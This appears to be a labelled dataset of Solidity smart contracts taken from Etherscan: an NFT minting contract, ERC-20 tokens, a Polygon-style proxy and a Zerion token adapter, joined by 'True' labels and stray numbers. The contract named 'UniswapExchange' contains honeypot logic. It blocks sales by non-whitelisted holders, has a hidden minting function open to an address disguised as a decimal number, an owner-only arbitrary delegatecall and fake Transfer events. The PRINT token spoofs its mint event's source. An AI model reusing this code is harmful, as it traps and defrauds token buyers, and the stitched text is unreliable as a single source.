_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract XQSTME is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.07 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 10;
uint256 private _reserved = 1000;
bool public paused = true;
bool public paused_premint = true;
bool public revealed = false;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused, 'Mint for XQST.ME is not active');
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount, "You can't mint more than 10 XQST.ME");
require(supply + _mintAmount + _reserved <= maxSupply, "No more XQST.ME to Mint");
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function preSaleMint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused_premint, 'Premint for XQST.ME is not active');
require(supply + _mintAmount + _reserved <= maxSupply, "No more XQST.ME to PreMint");
require(_mintAmount == 1 || _mintAmount == 10 || _mintAmount == 20 || _mintAmount == 50 || _mintAmount == 100, "You can only preMint 1, 10, 20, 50 or 100 XQST.ME");
if ( _mintAmount == 1) {
require(msg.value >= cost * _mintAmount, 'Insuffient ETH amount sent.');
} else if ( _mintAmount == 10) {
require(msg.value >= cost * _mintAmount * 8 / 10, 'Insuffient ETH amount sent.');
} else if( _mintAmount == 20 ){
require(msg.value >= cost * _mintAmount * 75 / 100, 'Insuffient ETH amount sent.');
} else if( _mintAmount == 50 ){
require(msg.value >= cost * _mintAmount * 7 / 10, 'Insuffient ETH amount sent.');
} else if( _mintAmount == 100 ){
require(msg.value >= cost * _mintAmount * 65 / 100, 'Insuffient ETH amount sent.');
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function giveAway(address _to) external onlyOwner() {
require(_reserved > 0, "No More XQST.ME to Give Away" );
_reserved -= 1;
uint256 supply = totalSupply();
_safeMint( _to, supply + 1);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
function reveal() public onlyOwner() {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost;
}
function setReserved(uint256 _new_reserved) public onlyOwner() {
_reserved = _new_reserved;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function pause_premint(bool _state) public onlyOwner {
paused_premint = _state;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
function totalReservedLeft() public view returns (uint256) {
return _reserved;
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
True
|
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pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'ZETA' token contract
//
// Deployed to : 0x9E7F951917Ec5E973FF0F54BF2AAA386F0494388
// Symbol : ZETA
// Name : ZetaChain
// Total supply: 50000000000
// Decimals : 8
//
// Enjoy.
//
// (c) by ZetaChain DevTeam
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ZetaChain is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "ZETA";
name = "ZetaChain";
decimals = 8;
_totalSupply = 5000000000000000000;
balances[0x9E7F951917Ec5E973FF0F54BF2AAA386F0494388] = _totalSupply;
emit Transfer(address(0), 0x9E7F951917Ec5E973FF0F54BF2AAA386F0494388, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-02-12
*/
// File: contracts/common/Proxy/IERCProxy.sol
pragma solidity 0.6.6;
interface IERCProxy {
function proxyType() external pure returns (uint256 proxyTypeId);
function implementation() external view returns (address codeAddr);
}
// File: contracts/common/Proxy/Proxy.sol
pragma solidity 0.6.6;
abstract contract Proxy is IERCProxy {
function delegatedFwd(address _dst, bytes memory _calldata) internal {
// solium-disable-next-line security/no-inline-assembly
assembly {
let result := delegatecall(
sub(gas(), 10000),
_dst,
add(_calldata, 0x20),
mload(_calldata),
0,
0
)
let size := returndatasize()
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
// revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas.
// if the call returned error data, forward it
switch result
case 0 {
revert(ptr, size)
}
default {
return(ptr, size)
}
}
}
function proxyType() external virtual override pure returns (uint256 proxyTypeId) {
// Upgradeable proxy
proxyTypeId = 2;
}
function implementation() external virtual override view returns (address);
}
// File: contracts/common/Proxy/UpgradableProxy.sol
pragma solidity 0.6.6;
contract UpgradableProxy is Proxy {
event ProxyUpdated(address indexed _new, address indexed _old);
event ProxyOwnerUpdate(address _new, address _old);
bytes32 constant IMPLEMENTATION_SLOT = keccak256("matic.network.proxy.implementation");
bytes32 constant OWNER_SLOT = keccak256("matic.network.proxy.owner");
constructor(address _proxyTo) public {
setProxyOwner(msg.sender);
setImplementation(_proxyTo);
}
fallback() external payable {
delegatedFwd(loadImplementation(), msg.data);
}
receive() external payable {
delegatedFwd(loadImplementation(), msg.data);
}
modifier onlyProxyOwner() {
require(loadProxyOwner() == msg.sender, "NOT_OWNER");
_;
}
function proxyOwner() external view returns(address) {
return loadProxyOwner();
}
function loadProxyOwner() internal view returns(address) {
address _owner;
bytes32 position = OWNER_SLOT;
assembly {
_owner := sload(position)
}
return _owner;
}
function implementation() external override view returns (address) {
return loadImplementation();
}
function loadImplementation() internal view returns(address) {
address _impl;
bytes32 position = IMPLEMENTATION_SLOT;
assembly {
_impl := sload(position)
}
return _impl;
}
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0), "ZERO_ADDRESS");
emit ProxyOwnerUpdate(newOwner, loadProxyOwner());
setProxyOwner(newOwner);
}
function setProxyOwner(address newOwner) private {
bytes32 position = OWNER_SLOT;
assembly {
sstore(position, newOwner)
}
}
function updateImplementation(address _newProxyTo) public onlyProxyOwner {
require(_newProxyTo != address(0x0), "INVALID_PROXY_ADDRESS");
require(isContract(_newProxyTo), "DESTINATION_ADDRESS_IS_NOT_A_CONTRACT");
emit ProxyUpdated(_newProxyTo, loadImplementation());
setImplementation(_newProxyTo);
}
function updateAndCall(address _newProxyTo, bytes memory data) payable public onlyProxyOwner {
updateImplementation(_newProxyTo);
(bool success, bytes memory returnData) = address(this).call{value: msg.value}(data);
require(success, string(returnData));
}
function setImplementation(address _newProxyTo) private {
bytes32 position = IMPLEMENTATION_SLOT;
assembly {
sstore(position, _newProxyTo)
}
}
function isContract(address _target) internal view returns (bool) {
if (_target == address(0)) {
return false;
}
uint256 size;
assembly {
size := extcodesize(_target)
}
return size > 0;
}
}
// File: contracts/root/TokenPredicates/MintableERC1155PredicateProxy.sol
pragma solidity 0.6.6;
contract MintableERC1155PredicateProxy is UpgradableProxy {
constructor(address _proxyTo)
public
UpgradableProxy(_proxyTo)
{}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2020-04-23
*/
// Copyright (C) 2020 Zerion Inc. <https://zerion.io>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.5;
pragma experimental ABIEncoderV2;
interface ERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
}
// ERC20-style token metadata
// 0xEeee...EEeE address is used for ETH
struct TokenMetadata {
address token;
string name;
string symbol;
uint8 decimals;
}
struct Component {
address token; // Address of token contract
string tokenType; // Token type ("ERC20" by default)
uint256 rate; // Price per share (1e18)
}
/**
* @title Token adapter interface.
* @dev getMetadata() and getComponents() functions MUST be implemented.
* @author Igor Sobolev <[email protected]>
*/
interface TokenAdapter {
/**
* @dev MUST return TokenMetadata struct with ERC20-style token info.
* struct TokenMetadata {
* address token;
* string name;
* string symbol;
* uint8 decimals;
* }
*/
function getMetadata(address token) external view returns (TokenMetadata memory);
/**
* @dev MUST return array of Component structs with underlying tokens rates for the given token.
* struct Component {
* address token; // Address of token contract
* string tokenType; // Token type ("ERC20" by default)
* uint256 rate; // Price per share (1e18)
* }
*/
function getComponents(address token) external view returns (Component[] memory);
}
/**
* @dev PieSmartPool contract interface.
* Only the functions required for UniswapAdapter contract are added.
* The BPool contract is available here
* github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
*/
interface IPieSmartPool {
function getTokens() external view returns (address[] memory);
function getBPool() external view returns (address);
}
/**
* @dev BPool contract interface.
* Only the functions required for UniswapAdapter contract are added.
* The BPool contract is available here
* github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
*/
interface BPool {
function getFinalTokens() external view returns (address[] memory);
function getBalance(address) external view returns (uint256);
function getNormalizedWeight(address) external view returns (uint256);
}
/**
* @title Token adapter for Pie pool tokens.
* @dev Implementation of TokenAdapter interface.
* @author Mick de Graaf <[email protected]>
*/
contract PieDAOPieTokenAdapter is TokenAdapter {
/**
* @return TokenMetadata struct with ERC20-style token info.
* @dev Implementation of TokenAdapter interface function.
*/
function getMetadata(address token) external view override returns (TokenMetadata memory) {
return TokenMetadata({
token: token,
name: ERC20(token).name(),
symbol: ERC20(token).symbol(),
decimals: ERC20(token).decimals()
});
}
/**
* @return Array of Component structs with underlying tokens rates for the given asset.
* @dev Implementation of TokenAdapter interface function.
*/
function getComponents(address token) external view override returns (Component[] memory) {
address[] memory underlyingTokensAddresses = IPieSmartPool(token).getTokens();
uint256 totalSupply = ERC20(token).totalSupply();
BPool bPool = BPool(IPieSmartPool(token).getBPool());
Component[] memory underlyingTokens = new Component[](underlyingTokensAddresses.length);
address underlyingToken;
for (uint256 i = 0; i < underlyingTokens.length; i++) {
underlyingToken = underlyingTokensAddresses[i];
underlyingTokens[i] = Component({
token: underlyingToken,
tokenType: "ERC20",
rate: bPool.getBalance(underlyingToken) * 1e18 / totalSupply
});
}
return underlyingTokens;
}
}
|
True
|
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1007,
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19204,
11368,
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2696,
3638,
1007,
1025,
102
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/**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
/**
//SPDX-License-Identifier: UNLICENSED
Telegram: t.me/PRINTerc
██████╗░██████╗░██████╗░██████╗░
██╔══██╗██╔══██╗██╔══██╗██╔══██╗
██████╦╝██████╔╝██████╔╝██████╔╝
██╔══██╗██╔══██╗██╔══██╗██╔══██╗
██████╦╝██║░░██║██║░░██║██║░░██║
╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚═╝
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PRINT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "PRINT";
string private constant _symbol = "PRINT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x7A2521292876396B44E642A8FA28D43c64aF9499);
_feeAddrWallet2 = payable(0x7A2521292876396B44E642A8FA28D43c64aF9499);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xAF4B4Fd5412f3ffB5dA2c16801C59A5B0ACeEC1D), _msgSender(), _tTotal);
}
